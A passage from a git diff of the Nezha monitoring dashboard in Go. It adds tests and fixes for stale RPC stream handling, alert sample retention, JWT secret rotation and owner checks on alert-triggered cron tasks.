"20202020-2020-2020-2020-202020202020") + cronTask := requestTaskSecurityCron(42, 200, model.CronCoverAll, nil) + setupRequestTaskSecurityFixture(t, []*model.Server{reporter}, []*model.Cron{cronTask}, map[uint64]model.UserInfo{ + 200: {Role: model.RoleMember}, + }, map[string]uint64{"reporter-secret": 200}) + + current, ok := singleton.ServerShared.Get(reporter.ID) + if !ok { + t.Fatalf("server %d not found", reporter.ID) + } + newer := &requestTaskSecurityStream{ctx: context.Background()} + stream := requestTaskSecurityAuthedStream("reporter-secret", reporter.UUID) + stream.results = []*pb.TaskResult{cronTaskResult(cronTask.ID, true)} + stream.onResult = func() { + current.SetTaskStream(newer) + } + + err := NewNezhaHandler().RequestTask(stream) + if !errors.Is(err, ErrRequestTaskStreamSuperseded) { + t.Fatalf("expected superseded RequestTask stream error, got %v", err) + } + if got := current.GetTaskStream(); got != newer { + t.Fatalf("old stream cleanup must preserve newer stream, got %T", got) + } + assertCronResultNotUpdated(t, cronTask.ID) +} + +func TestRequestTaskAcceptsResultAfterServerPointerReplacementWithSameStream(t *testing.T) { + reporter := requestTaskSecurityServer(7, 200, "30303030-3030-3030-3030-303030303030") + cronTask := requestTaskSecurityCron(42, 200, model.CronCoverAll, nil) + setupRequestTaskSecurityFixture(t, []*model.Server{reporter}, []*model.Cron{cronTask}, map[uint64]model.UserInfo{ + 200: {Role: model.RoleMember}, + }, map[string]uint64{"reporter-secret": 200}) + + old, ok := singleton.ServerShared.Get(reporter.ID) + if !ok { + t.Fatalf("server %d not found", reporter.ID) + } + stream := requestTaskSecurityAuthedStream("reporter-secret", reporter.UUID) + stream.results = []*pb.TaskResult{cronTaskResult(cronTask.ID, true)} + stream.onResult = func() { + replacement := &model.Server{Common: model.Common{ID: old.ID, UserID: old.UserID}, UUID: old.UUID, Name: "replacement"} + replacement.CopyFromRunningServer(old) + singleton.ServerShared.Update(replacement, "") + } + + err := NewNezhaHandler().RequestTask(stream) + if !errors.Is(err, context.Canceled) { + t.Fatalf("expected RequestTask to finish after accepted result, got %v", err) + } + if !cronLastResult(t, cronTask.ID) { + t.Fatal("result on a replacement server that inherited the stream must be accepted") + } +} + +func assertCronResultNotUpdated(t *testing.T, cronID uint64) { + t.Helper() + + var cronTask model.Cron + if err := singleton.DB.First(&cronTask, cronID).Error; err != nil { + t.Fatal(err) + } + if cronTask.LastResult || !cronTask.LastExecutedAt.IsZero() { + t.Fatalf("stale RequestTask result must not mutate cron, got last_result=%t last_executed_at=%s", cronTask.LastResult, cronTask.LastExecutedAt) + } +} diff --git a/service/rpc/state_metrics_test.go b/service/rpc/state_metrics_test.go new file mode 100644 index 00000000..07e3165b --- /dev/null +++ b/service/rpc/state_metrics_test.go @@ -0,0 +1,42 @@ +package rpc + +import ( + "testing" + "time" + + "github.com/stretchr/testify/require" + + "github.com/nezhahq/nezha/model" + "github.com/nezhahq/nezha/pkg/tsdb" +) + +func TestStateMetricsWriterRunsOnlyForCurrentGeneration(t *testing.T) { + // Given + server := &model.Server{} + model.InitServer(server) + oldLease := server.AttachStateStream(stateGenerationStream{}) + newLease := server.AttachStateStream(stateGenerationStream{}) + oldCalls := 0 + newCalls := 0 + oldWriter := writeServerMetrics + writeServerMetrics = func(*tsdb.ServerMetrics) error { + newCalls++ + return nil + } + t.Cleanup(func() { writeServerMetrics = oldWriter }) + + // When + oldAccepted := server.UpdateStateIfCurrentWithSideEffect(oldLease, &model.HostState{Uptime: 11}, time.Unix(100, 0), func() error { + oldCalls++ + return writeServerMetrics(&tsdb.ServerMetrics{ServerID: 7, Timestamp: time.Unix(100, 0)}) + }) + newAccepted := server.UpdateStateIfCurrentWithSideEffect(newLease, &model.HostState{Uptime: 22}, time.Unix(200, 0), func() error { + return writeServerMetrics(&tsdb.ServerMetrics{ServerID: 7, Timestamp: time.Unix(200, 0)}) + }) + + // Then + require.False(t, oldAccepted) + require.True(t, newAccepted) + require.Zero(t, oldCalls) + require.Equal(t, 1, newCalls) +} diff --git a/service/rpc/state_stream_generation_test.go b/service/rpc/state_stream_generation_test.go new file mode 100644 index 00000000..04f62310 --- /dev/null +++ b/service/rpc/state_stream_generation_test.go @@ -0,0 +1,206 @@ +package rpc + +import ( + "context" + "sync" + "testing" + "time" + + "github.com/stretchr/testify/require" + "google.golang.org/grpc/metadata" + + "github.com/nezhahq/nezha/model" + "github.com/nezhahq/nezha/pkg/tsdb" + pb "github.com/nezhahq/nezha/proto" + "github.com/nezhahq/nezha/service/singleton" +) + +func TestReportSystemState_HandlerWaitsForMetricsBeforeReceipt(t *testing.T) { + // Given + reporter := requestTaskSecurityServer(9, 200, "ffffffff-ffff-ffff-ffff-ffffffffffff") + setupRequestTaskSecurityFixture(t, []*model.Server{reporter}, nil, map[uint64]model.UserInfo{200: {Role: model.RoleMember}}, map[string]uint64{"reporter-secret": 200}) + stop := make(chan struct{}) + stream := &stateGenerationHandlerStream{ + ctx: metadata.NewIncomingContext(context.Background(), metadata.Pairs("client_secret", "reporter-secret", "client_uuid", reporter.UUID)), + states: make(chan *pb.State, 1), receipts: make(chan *pb.Receipt, 1), stop: stop, + } + stream.states <- &pb.State{Uptime: 44} + metricsStarted := make(chan *tsdb.ServerMetrics, 1) + metricsRelease := make(chan struct{}) + oldWriter := writeServerMetrics + writeServerMetrics = func(metrics *tsdb.ServerMetrics) error { + metricsStarted <- metrics + <-metricsRelease + return nil + } + t.Cleanup(func() { writeServerMetrics = oldWriter }) + + // When + done := make(chan error, 1) + go func() { done <- NewNezhaHandler().ReportSystemState(stream) }() + metrics := <-metricsStarted + select { + case <-stream.receipts: + t.Fatal("receipt sent before metrics writer completed") + default: + } + close(metricsRelease) + + // Then + require.Equal(t, reporter.ID, metrics.ServerID) + require.Equal(t, uint64(44), metrics.Uptime) + require.NotNil(t, <-stream.receipts) + current, ok := singleton.ServerShared.Get(reporter.ID) + require.True(t, ok) + require.Equal(t, current.RuntimeSnapshot().LastActive, metrics.Timestamp) + close(stop) + require.ErrorIs(t, <-done, context.Canceled) +} + +type stateGenerationStream struct{} + +func (stateGenerationStream) Send(*pb.Receipt) error { return nil } +func (stateGenerationStream) Recv() (*pb.State, error) { return nil, nil } +func (stateGenerationStream) SetHeader(metadata.MD) error { return nil } +func (stateGenerationStream) SendHeader(metadata.MD) error { return nil } +func (stateGenerationStream) SetTrailer(metadata.MD) {} +func (stateGenerationStream) Context() context.Context { return context.Background() } +func (stateGenerationStream) SendMsg(any) error { return nil } +func (stateGenerationStream) RecvMsg(any) error { return nil } + +type stateGenerationHandlerStream struct { + ctx context.Context + states chan *pb.State + receipts chan *pb.Receipt + stop <-chan struct{} +} + +func (s *stateGenerationHandlerStream) Send(receipt *pb.Receipt) error { + s.receipts <- receipt + return nil +} + +func (s *stateGenerationHandlerStream) Recv() (*pb.State, error) { + select { + case state := <-s.states: + return state, nil + case <-s.stop: + return nil, context.Canceled + } +} + +func (s *stateGenerationHandlerStream) SetHeader(metadata.MD) error { return nil } +func (s *stateGenerationHandlerStream) SendHeader(metadata.MD) error { return nil } +func (s *stateGenerationHandlerStream) SetTrailer(metadata.MD) {} +func (s *stateGenerationHandlerStream) Context() context.Context { return s.ctx } +func (s *stateGenerationHandlerStream) SendMsg(any) error { return nil } +func (s *stateGenerationHandlerStream) RecvMsg(any) error { return nil } + +func TestReportSystemState_HandlerOldStreamCannotClearNewerState(t *testing.T) { + // Given + reporter := requestTaskSecurityServer(7, 200, "eeeeeeee-eeee-eeee-eeee-eeeeeeeeeeee") + setupRequestTaskSecurityFixture(t, []*model.Server{reporter}, nil, map[uint64]model.UserInfo{ + 200: {Role: model.RoleMember}, + }, map[string]uint64{"reporter-secret": 200}) + oldStop := make(chan struct{}) + newStop := make(chan struct{}) + oldStream := &stateGenerationHandlerStream{ + ctx: metadata.NewIncomingContext(context.Background(), metadata.Pairs("client_secret", "reporter-secret", "client_uuid", reporter.UUID)), + states: make(chan *pb.State, 1), receipts: make(chan *pb.Receipt, 1), stop: oldStop, + } + newStream := &stateGenerationHandlerStream{ + ctx: metadata.NewIncomingContext(context.Background(), metadata.Pairs("client_secret", "reporter-secret", "client_uuid", reporter.UUID)), + states: make(chan *pb.State, 1), receipts: make(chan *pb.Receipt, 1), stop: newStop, + } + oldStream.states <- &pb.State{Uptime: 11} + newStream.states <- &pb.State{Uptime: 22} + handler := NewNezhaHandler() + oldDone := make(chan error, 1) + newDone := make(chan error, 1) + go func() { oldDone <- handler.ReportSystemState(oldStream) }() + <-oldStream.receipts + + // When + go func() { newDone <- handler.ReportSystemState(newStream) }() + <-newStream.receipts + close(newStop) + require.ErrorIs(t, <-newDone, context.Canceled) + close(oldStop) + require.ErrorIs(t, <-oldDone, context.Canceled) + + // Then + server, ok := singleton.ServerShared.Get(reporter.ID) + require.True(t, ok) + require.Equal(t, uint64(22), server.State.Uptime) + require.True(t, server.LastActive.IsZero()) +} + +func TestReportSystemState_OldStreamCannotUpdateNewerGeneration(t *testing.T) { + // Given + server := &model.Server{} + model.InitServer(server) + oldStream := stateGenerationStream{} + newStream := stateGenerationStream{} + oldLease := server.AttachStateStream(oldStream) + updateGate := make(chan struct{}) + updateDone := make(chan bool, 1) + oldState := &model.HostState{Uptime: 11} + newState := &model.HostState{Uptime: 22} + oldTime := time.Unix(100, 0) + newTime := time.Unix(200, 0) + var waitGroup sync.WaitGroup + waitGroup.Add(1) + go func() { + defer waitGroup.Done() + <-updateGate + updateDone <- server.UpdateStateIfCurrent(oldLease, oldState, oldTime) + }() + + // When + newLease := server.AttachStateStream(newStream) + close(updateGate) + oldUpdateAccepted := <-updateDone + newUpdateAccepted := server.UpdateStateIfCurrent(newLease, newState, newTime) + waitGroup.Wait() + + // Then + require.False(t, oldUpdateAccepted) + require.True(t, newUpdateAccepted) + require.Equal(t, newState, server.State) + require.Equal(t, newTime, server.LastActive) +} + +func TestReportSystemState_OldCleanupCannotClearNewerGeneration(t *testing.T) { + // Given + server := &model.Server{} + model.InitServer(server) + oldLease := server.AttachStateStream(stateGenerationStream{}) + newLease := server.AttachStateStream(stateGenerationStream{}) + state := &model.HostState{Uptime: 22} + activeAt := time.Unix(200, 0) + require.True(t, server.UpdateStateIfCurrent(newLease, state, activeAt)) + + // When + oldCleanup := server.ClearStateStreamIfCurrent(oldLease) + + // Then + require.False(t, oldCleanup) + require.Equal(t, state, server.State) + require.Equal(t, activeAt, server.LastActive) +} + +func TestReportSystemState_CurrentCleanupClearsOnlineVisibility(t *testing.T) { + // Given + server := &model.Server{} + model.InitServer(server) + lease := server.AttachStateStream(stateGenerationStream{}) + activeAt := time.Unix(300, 0) + require.True(t, server.UpdateStateIfCurrent(lease, &model.HostState{Uptime: 33}, activeAt)) + + // When + cleared := server.ClearStateStreamIfCurrent(lease) + + // Then + require.True(t, cleared) + require.True(t, server.LastActive.IsZero()) +} diff --git a/service/rpc/testdata_helper_test.go b/service/rpc/testdata_helper_test.go new file mode 100644 index 00000000..ee078958 --- /dev/null +++ b/service/rpc/testdata_helper_test.go @@ -0,0 +1,20 @@ +package rpc + +import ( + "os" + "path/filepath" + "testing" +) + +func mustReadFile(t *testing.T, name string) string { + t.Helper() + wd, err := os.Getwd() + if err != nil { + t.Fatalf("getwd: %v", err) + } + b, err := os.ReadFile(filepath.Join(wd, name)) + if err != nil { + t.Fatalf("read %s: %v", name, err) + } + return string(b) +} diff --git a/service/rpc/wait_for_agent_revoke_test.go b/service/rpc/wait_for_agent_revoke_test.go new file mode 100644 index 00000000..8d82d20a --- /dev/null +++ b/service/rpc/wait_for_agent_revoke_test.go @@ -0,0 +1,108 @@ +package rpc + +import ( + "context" + "testing" + "time" +) + +// WaitForAgent 必须在 stream 被 RevokeStreamsForPurpose 强制下线时立刻返回， +// 否则 EnableMCP=false 的 kill switch 不能真的“立即”切断那些还卡在 +// “等待 agent attach” 阶段的 transfer 请求 —— 它们会一直等到 timeout +// （生产路径上是 30 秒）。 +// +// 期望行为：调用 RevokeStreamsForPurpose 后，WaitForAgent 在远小于 timeout +// 的时间内返回 (nil, false)。 +func TestWaitForAgent_RevokeWakesUpWaiter(t *testing.T) { + h := NewNezhaHandler() + const streamID = "kill-switch-wait" + if err := h.CreateStreamWithPurpose(streamID, 0, 7, PurposeMCPTransfer); err != nil { + t.Fatalf("create waiter stream: %v", err) + } + + done := make(chan struct { + io any + ok bool + dur time.Duration + }, 1) + + start := time.Now() + go func() { + // 给一个明显大于 revoke 触发延时的 timeout；如果 revoke 没唤醒， + // WaitForAgent 会一直等到这里，下面的 assertion 就会失败。 + stream, ok := h.WaitForAgent(context.Background(), streamID, 5*time.Second) + done <- struct { + io any + ok bool + dur time.Duration + }{stream, ok, time.Since(start)} + }() + waiter, err := h.GetStream(streamID) + if err != nil { + t.Fatalf("get waiter context: %v", err) + } + select { + case <-waiter.waitStartedCh: + case <-time.After(time.Second): + t.Fatal("WaitForAgent did not enter its blocking select") + } + + if revoked := h.RevokeStreamsForPurpose(PurposeMCPTransfer); revoked != 1 { + t.Fatalf("expected to revoke exactly 1 MCP stream, got %d", revoked) + } + + select { + case res := <-done: + if res.ok { + t.Fatalf("WaitForAgent must return ok=false after revoke; got ok=true") + } + if res.dur > time.Second { + t.Fatalf("WaitForAgent did not wake up promptly after revoke (took %s); kill switch is not immediate", res.dur) + } + case <-time.After(2 * time.Second): + t.Fatalf("WaitForAgent never returned after revoke; kill switch did not wake the waiter") + } +} + +func TestRevokeStreamsForServerWakesWaitForAgentAndPreservesNewGeneration(t *testing.T) { + h := NewNezhaHandler() + const streamID = "server-revoke-generation" + if err := h.CreateStream(streamID, 0, 7); err != nil { + t.Fatalf("create waiter stream: %v", err) + } + done := make(chan bool, 1) + go func() { + _, ok := h.WaitForAgent(context.Background(), streamID, time.Minute) + done <- ok + }() + waiter, err := h.GetStream(streamID) + if err != nil { + t.Fatalf("get waiter stream: %v", err) + } + select { + case <-waiter.waitStartedCh: + case <-time.After(time.Second): + t.Fatal("WaitForAgent did not reach its blocking select") + } + + h.RevokeStreamsForServer(7) + select { + case ok := <-done: + if ok { + t.Fatal("WaitForAgent must return false after server revocation") + } + case <-time.After(time.Second): + t.Fatal("server revocation did not wake WaitForAgent") + } + h.RevokeStreamsForServer(7) + if err := h.CreateStream(streamID, 0, 8); err != nil { + t.Fatalf("new generation must reuse released ID: %v", err) + } + h.RevokeStreamsForServer(7) + if h.StreamCount() != 1 { + t.Fatalf("new generation must remain tracked, got %d streams", h.StreamCount()) + } + if err := h.CloseStream(streamID); err != nil { + t.Fatalf("cleanup new generation: %v", err) + } +} diff --git a/service/singleton/alertsentinel.go b/service/singleton/alertsentinel.go index c31873c0..b17aeed8 100644 --- a/service/singleton/alertsentinel.go +++ b/service/singleton/alertsentinel.go @@ -149,13 +149,13 @@ func checkStatus() { role = u.Role } UserLock.RUnlock() - if alert.UserID != server.UserID && !role.IsAdmin() { + if alert.UserID != server.GetUserID() && !role.IsAdmin() { continue } alertsStore[alert.ID][server.ID] = append(alertsStore[alert. ID][server.ID], alert.Snapshot(AlertsCycleTransferStatsStore[alert.ID], server, DB)) // 发送通知，分为触发报警和恢复通知 - max, passed := alert.Check(alertsStore[alert.ID][server.ID]) + _, passed := alert.Check(alertsStore[alert.ID][server.ID]) // 保存当前服务器状态信息 curServer := model.Server{} copier.Copy(&curServer, server) @@ -167,7 +167,7 @@ func checkStatus() { alertsPrevState[alert.ID][server.ID] = _RuleCheckFail message := fmt.Sprintf("[%s] %s(%s) %s", Localizer.T("Incident"), server.Name, IPDesensitize(server.GeoIP.IP.Join()), alert.Name) - go CronShared.SendTriggerTasks(alert.FailTriggerTasks, curServer.ID) + go CronShared.SendTriggerTasks(alert.FailTriggerTasks, curServer.ID, alert.UserID) go NotificationShared.SendNotification(alert.NotificationGroupID, message, NotificationMuteLabel.ServerIncident(server.ID, alert.ID), &curServer) // 清除恢复通知的静音缓存 NotificationShared.UnMuteNotification(alert.NotificationGroupID, NotificationMuteLabel.ServerIncidentResolved(server.ID, alert.ID)) @@ -177,17 +177,22 @@ func checkStatus() { if alertsPrevState[alert.ID][server.ID] == _RuleCheckFail { message := fmt.Sprintf("[%s] %s(%s) %s", Localizer.T("Resolved"), server.Name, IPDesensitize(server.GeoIP.IP.Join()), alert.Name) - go CronShared.SendTriggerTasks(alert.RecoverTriggerTasks, curServer.ID) + go CronShared.SendTriggerTasks(alert.RecoverTriggerTasks, curServer.ID, alert.UserID) go NotificationShared.SendNotification(alert.NotificationGroupID, message, NotificationMuteLabel.ServerIncidentResolved(server.ID, alert.ID), &curServer) // 清除失败通知的静音缓存 NotificationShared.UnMuteNotification(alert.NotificationGroupID, NotificationMuteLabel.ServerIncident(server.ID, alert.ID)) } alertsPrevState[alert.ID][server.ID] = _RuleCheckPass } - // 清理旧数据 - if max > 0 && max < len(alertsStore[alert.ID][server.ID]) { - index := len(alertsStore[alert.ID][server.ID]) - max - alertsStore[alert.ID][server.ID] = alertsStore[alert.ID][server.ID][index:] + // 清理旧数据：保留窗口由规则定义决定（各规则 Duration 的最大值）， + // 而非 Check 的判定结果。window==0 表示没有任何有效规则需要回看历史 + // （例如全部 Duration<=0），此时清空采样避免切片无限增长。 + window := alert.RetentionWindow() + samples := alertsStore[alert.ID][server.ID] + if window <= 0 { + alertsStore[alert.ID][server.ID] = samples[:0] + } else if window < len(samples) { + alertsStore[alert.ID][server.ID] = samples[len(samples)-window:] } } } diff --git a/service/singleton/alertsentinel_test.go b/service/singleton/alertsentinel_test.go new file mode 100644 index 00000000..1d290523 --- /dev/null +++ b/service/singleton/alertsentinel_test.go @@ -0,0 +1,119 @@ +package singleton + +import ( + "testing" + + "github.com/nezhahq/nezha/model" +) + +// notifyDecision replays the exact send-gate from checkStatus (lines 164-186) +// for a single (alert, server) pair: given the current Check verdict and the +// previous stored state, it reports whether an incident or recovery notification +// would be dispatched and what the next stored state becomes. Kept in lockstep +// with checkStatus so the end-to-end "does it actually notify" path is testable +// without the DB/global singletons checkStatus pulls in. +func notifyDecision(triggerMode uint8, passed bool, prev uint8) (incident, recover bool, next uint8) { + if !passed { + if triggerMode == model.ModeAlwaysTrigger || prev != _RuleCheckFail { + return true, false, _RuleCheckFail + } + return false, false, _RuleCheckFail + } + if prev == _RuleCheckFail { + return false, true, _RuleCheckPass + } + return false, false, _RuleCheckPass +} + +// driveCheckStatus simulates the checkStatus tick loop end-to-end: each tick +// appends one sample, runs the real Check, applies the real RetentionWindow +// trim, then runs the send-gate. It returns how many incident notifications +// would have been dispatched across all ticks and the final sample window size. +func driveCheckStatus(rule *model.AlertRule, triggerMode uint8, ticks int, sample []bool) (incidents int, finalWindow int) { + incidents, finalWindow, _ = driveCheckStatusCap(rule, triggerMode, ticks, sample) + return incidents, finalWindow +} + +// driveCheckStatusCap additionally reports the peak length and capacity the +// sample slice ever reached, so tests can assert memory stays bounded. +func driveCheckStatusCap(rule *model.AlertRule, triggerMode uint8, ticks int, sample []bool) (incidents, finalLen, peakCap int) { + var samples [][]bool + prev := uint8(_RuleCheckNoData) + for i := 0; i < ticks; i++ { + samples = append(samples, append([]bool(nil), sample...)) + _, passed := rule.Check(samples) + w := rule.RetentionWindow() + if w <= 0 { + samples = samples[:0] + } else if w < len(samples) { + samples = samples[len(samples)-w:] + } + if cap(samples) > peakCap { + peakCap = cap(samples) + } + incident, _, next := notifyDecision(triggerMode, passed, prev) + if incident { + incidents++ + } + prev = next + } + return incidents, len(samples), peakCap +} + +// TestCheckStatus_GeneralRuleFiresIncident is the end-to-end guard for the +// regression: a Duration:10 rule on a server that fails every tick must, +// after the window fills, reach passed=false and actually dispatch an incident +// notification. Before the fix the window was wiped each tick, so passed never +// became false and zero notifications were sent. +func TestCheckStatus_GeneralRuleFiresIncident(t *testing.T) { + rule := &model.AlertRule{Rules: []*model.Rule{{Type: "cpu", Duration: 10}}} + + t.Run("AlwaysTrigger fires repeatedly once window fills", func(t *testing.T) { + incidents, window := driveCheckStatus(rule, model.ModeAlwaysTrigger, 30, []bool{false}) + if window < 10 { + t.Fatalf("window never filled: got %d want >= 10", window) + } + if incidents == 0 { + t.Fatalf("AlwaysTrigger rule never dispatched an incident notification") + } + }) + + t.Run("OnetimeTrigger fires exactly once", func(t *testing.T) { + incidents, _ := driveCheckStatus(rule, model.ModeOnetimeTrigger, 30, []bool{false}) + if incidents != 1 { + t.Fatalf("OnetimeTrigger must dispatch exactly one incident, got %d", incidents) + } + }) +} + +// TestCheckStatus_HealthyServerStaysSilent guards the other direction: a server +// passing every tick must never dispatch an incident. +func TestCheckStatus_HealthyServerStaysSilent(t *testing.T) { + rule := &model.AlertRule{Rules: []*model.Rule{{Type: "cpu", Duration: 10}}} + incidents, _ := driveCheckStatus(rule, model.ModeAlwaysTrigger, 30, []bool{true}) + if incidents != 0 { + t.Fatalf("a healthy server must never trigger an incident, got %d", incidents) + } +} + +// TestCheckStatus_SampleMemoryBounded pins the no-memory-leak invariant: no +// matter how many ticks run, the per-(alert,server) sample slice length and +// capacity stay bounded by the rule's retention window, never growing with +// elapsed time. Runs far more ticks than the window to expose any unbounded +// growth. +func TestCheckStatus_SampleMemoryBounded(t *testing.T) { + const duration = 10 + rule := &model.AlertRule{Rules: []*model.Rule{{Type: "cpu", Duration: duration}}} + + _, finalLen, peakCap := driveCheckStatusCap(rule, model.ModeAlwaysTrigger, 100000, []bool{false}) + + if finalLen > duration { + t.Fatalf("sample length exceeded retention window after many ticks: got %d want <= %d", finalLen, duration) + } + // append grows capacity geometrically; with length pinned at window+1 the + // backing array stabilises at a small constant. A generous 4x window bound + // catches any reintroduced unbounded growth without being flaky. + if peakCap > duration*4 { + t.Fatalf("sample capacity grew unbounded: peak cap %d exceeds 4x window %d", peakCap, duration*4) + } +} diff --git a/service/singleton/clean_monitor_history_test.go b/service/singleton/clean_monitor_history_test.go new file mode 100644 index 00000000..e01c4610 --- /dev/null +++ b/service/singleton/clean_monitor_history_test.go @@ -0,0 +1,57 @@ +package singleton + +import ( + "path/filepath" + "testing" + + "github.com/stretchr/testify/require" + "gorm.io/gorm" + + "github.com/nezhahq/nezha/model" +) + +func setupCleanMonitorHistoryTestDB(t *testing.T) { + t.Helper() + + previousDB := DB + var err error + DB, err = gorm.Open(openSQLiteDialector(filepath.Join(t.TempDir(), "dashboard.sqlite")), &gorm.Config{}) + require.NoError(t, err) + sqlDB, err := DB.DB() + require.NoError(t, err) + t.Cleanup(func() { + DB = previousDB + if err := sqlDB.Close(); err != nil { + t.Errorf("close transfer cleanup test database: %v", err) + } + }) + + require.NoError(t, DB.AutoMigrate(&model.Server{}, &model.Transfer{}, &model.AlertRule{})) + require.NoError(t, DB.Exec("INSERT INTO servers (id, name, uuid) VALUES (1, 'server', 'clean-monitor-history-test')").Error) +} + +func TestCleanMonitorHistoryWithoutRulesDeletesAllTransfers(t *testing.T) { + setupCleanMonitorHistoryTestDB(t) + require.NoError(t, DB.Create(&model.Transfer{ServerID: 1, In: 1}).Error) + + CleanMonitorHistory() + + var count int64 + require.NoError(t, DB.Model(&model.Transfer{}).Count(&count).Error) + require.Zero(t, count) +} + +func TestCleanMonitorHistoryPreservesTransfersWhenAlertRulesCannotBeLoaded(t *testing.T) { + setupCleanMonitorHistoryTestDB(t) + require.NoError(t, DB.Create(&model.Transfer{ServerID: 1, In: 1}).Error) + require.NoError(t, DB.Exec("INSERT INTO alert_rules (id, name, rules_raw, fail_trigger_tasks_raw, recover_trigger_tasks_raw) VALUES (1, 'broken', '{', '[]', '[]')").Error) + + var alerts []model.AlertRule + require.Error(t, DB.Find(&alerts).Error, "precondition: malformed rules_raw must fail AlertRule.AfterFind") + + CleanMonitorHistory() + + var count int64 + require.NoError(t, DB.Model(&model.Transfer{}).Count(&count).Error) + require.EqualValues(t, 1, count) +} diff --git a/service/singleton/config.go b/service/singleton/config.go index 4b3d3ace..65f19687 100644 --- a/service/singleton/config.go +++ b/service/singleton/config.go @@ -1,6 +1,7 @@ package singleton import ( + "log" "strconv" "strings" @@ -26,6 +27,13 @@ func InitConfigFromPath(path string) error { if err != nil { return err } + rotated, err := Conf.RotateJWTSecretKeyIfNeeded(Version) + if err != nil { + return err + } + if rotated { + log.Printf("NEZHA>> Rotated jwt_secret_key for dashboard version %s", Version) + } Conf.updateIgnoredIPNotificationID() Conf.Oauth2Providers = utils.MapKeysToSlice(Conf.Oauth2) diff --git a/service/singleton/config_test.go b/service/singleton/config_test.go new file mode 100644 index 00000000..a486212d --- /dev/null +++ b/service/singleton/config_test.go @@ -0,0 +1,54 @@ +package singleton + +import ( + "os" + "strings" + "testing" + + "github.com/nezhahq/nezha/model" +) + +func TestInitConfigFromPathRotatesJWTSecretKey(t *testing.T) { + file, err := os.CreateTemp(t.TempDir(), "nezha-config-*.yaml") + if err != nil { + t.Fatalf("create temp config: %v", err) + } + if _, err := file.WriteString("jwt_secret_key: leaked-secret\nagent_secret_key: agent-secret\njwt_secret_key_last_rotated_version: v2.0.12\n"); err != nil { + t.Fatalf("write temp config: %v", err) + } + if err := file.Close(); err != nil { + t.Fatalf("close temp config: %v", err) + } + + originalConf := Conf + originalVersion := Version + originalTemplates := FrontendTemplates + Version = "v2.0.13" + FrontendTemplates = nil + t.Cleanup(func() { + Conf = originalConf + Version = originalVersion + FrontendTemplates = originalTemplates + }) + + if err := InitConfigFromPath(file.Name()); err != nil { + t.Fatalf("init config: %v", err) + } + if Conf.JWTSecretKey == "leaked-secret" { + t.Fatal("jwt_secret_key was not rotated") + } + if Conf.JWTSecretKeyLastRotatedVersion != model.JWTSecretKeyRotationBaselineVersion { + t.Fatalf("jwt secret key marker = %q, want %q", Conf.JWTSecretKeyLastRotatedVersion, model.JWTSecretKeyRotationBaselineVersion) + } + + saved, err := os.ReadFile(file.Name()) + if err != nil { + t.Fatalf("read saved config: %v", err) + } + if strings.Contains(string(saved), "leaked-secret") { + t.Fatalf("saved config still contains leaked jwt_secret_key: %s", saved) + } + if !strings.Contains(string(saved), "jwt_secret_key_last_rotated_version: v2.0.13") { + t.Fatalf("saved config did not persist jwt secret key marker: %s", saved) + } +} diff --git a/service/singleton/crontask.go b/service/singleton/crontask.go index 7928c3d4..d8b7d6cb 100644 --- a/service/singleton/crontask.go +++ b/service/singleton/crontask.go @@ -5,6 +5,8 @@ import ( "fmt" "slices" "strings" + "sync" + "time" "github.com/jinzhu/copier" @@ -15,9 +17,25 @@ import ( pb "github.com/nezhahq/nezha/proto" ) +const alertTriggerCronResultAuthorizationTTL = 24 * time.Hour + type CronClass struct { class[uint64, *model.Cron] *cron.Cron + pendingAlertTriggerTasksMu sync.Mutex + pendingAlertTriggerTasks map[uint64]map[uint64][]time.Time + closeOnce sync.Once +} + +// Close stops the scheduler and joins every job before a test restores globals. +// The embedded cron.Stop only exposes the completion context; callers must await it. +func (c *CronClass) Close() { + if c == nil || c.Cron == nil { + return + } + c.closeOnce.Do(func() { + <-c.Cron.Stop().Done() + }) } func NewCronClass() *CronClass { @@ -64,7 +82,8 @@ func NewCronClass() *CronClass { list: list, sortedList: sortedList, }, - Cron: cronx, + Cron: cronx, + pendingAlertTriggerTasks: make(map[uint64]map[uint64][]time.Time), } } @@ -78,6 +97,7 @@ func (c *CronClass) Update(cr *model.Cron) { delete(c.list, cr.ID) c.list[cr.ID] = cr c.listMu.Unlock() + c.deleteAlertTriggerCronResultAuthorizations([]uint64{cr.ID}) c.sortList() } @@ -92,6 +112,7 @@ func (c *CronClass) Delete(idList []uint64) { delete(c.list, id) } c.listMu.Unlock() + c.deleteAlertTriggerCronResultAuthorizations(idList) c.sortList() } @@ -110,11 +131,11 @@ func (c *CronClass) sortList() { c.sortedList = sortedList } -func (c *CronClass) SendTriggerTasks(taskIDs []uint64, triggerServer uint64) { +func (c *CronClass) SendTriggerTasks(taskIDs []uint64, triggerServer uint64, triggerOwner uint64) { c.listMu.RLock() var cronLists []*model.Cron for _, taskID := range taskIDs { - if c, ok := c.list[taskID]; ok { + if c, ok := c.list[taskID]; ok && cronCanBeTriggeredByOwner(c, triggerOwner) { cronLists = append(cronLists, c) } } @@ -126,6 +147,117 @@ func (c *CronClass) SendTriggerTasks(taskIDs []uint64, triggerServer uint64) { } } +func cronCanBeTriggeredByOwner(cr *model.Cron, triggerOwner uint64) bool { + return cr.UserID == triggerOwner || userIsAdmin(triggerOwner) +} + +func CanReportCronResult(cr *model.Cron, reporter *model.Server) bool { + if cr == nil || reporter == nil || !cronCanSendToServer(cr, reporter) { + return false + } + if cr.Cover == model.CronCoverAll { + return !slices.Contains(cr.Servers, reporter.ID) + } + if cr.Cover == model.CronCoverIgnoreAll { + return slices.Contains(cr.Servers, reporter.ID) + } + if cr.Cover == model.CronCoverAlertTrigger { + return CronShared != nil && CronShared.consumeAlertTriggerCronResult(cr.ID, reporter.ID) + } + return false +} + +func (c *CronClass) reserveAlertTriggerCronResult(cronID uint64, serverID uint64) { + c.pendingAlertTriggerTasksMu.Lock() + defer c.pendingAlertTriggerTasksMu.Unlock() + + now := time.Now() + c.pruneExpiredAlertTriggerCronResultsLocked(now) + if c.pendingAlertTriggerTasks == nil { + c.pendingAlertTriggerTasks = make(map[uint64]map[uint64][]time.Time) + } + if c.pendingAlertTriggerTasks[cronID] == nil { + c.pendingAlertTriggerTasks[cronID] = make(map[uint64][]time.Time) + } + c.pendingAlertTriggerTasks[cronID][serverID] = append(c.pendingAlertTriggerTasks[cronID][serverID], now.Add(alertTriggerCronResultAuthorizationTTL)) +} + +func (c *CronClass) revokeAlertTriggerCronResult(cronID uint64, serverID uint64) { + c.pendingAlertTriggerTasksMu.Lock() + defer c.pendingAlertTriggerTasksMu.Unlock() + + serverTasks := c.pendingAlertTriggerTasks[cronID] + expiresAtList := serverTasks[serverID] + if len(expiresAtList) == 0 { + return + } + expiresAtList = 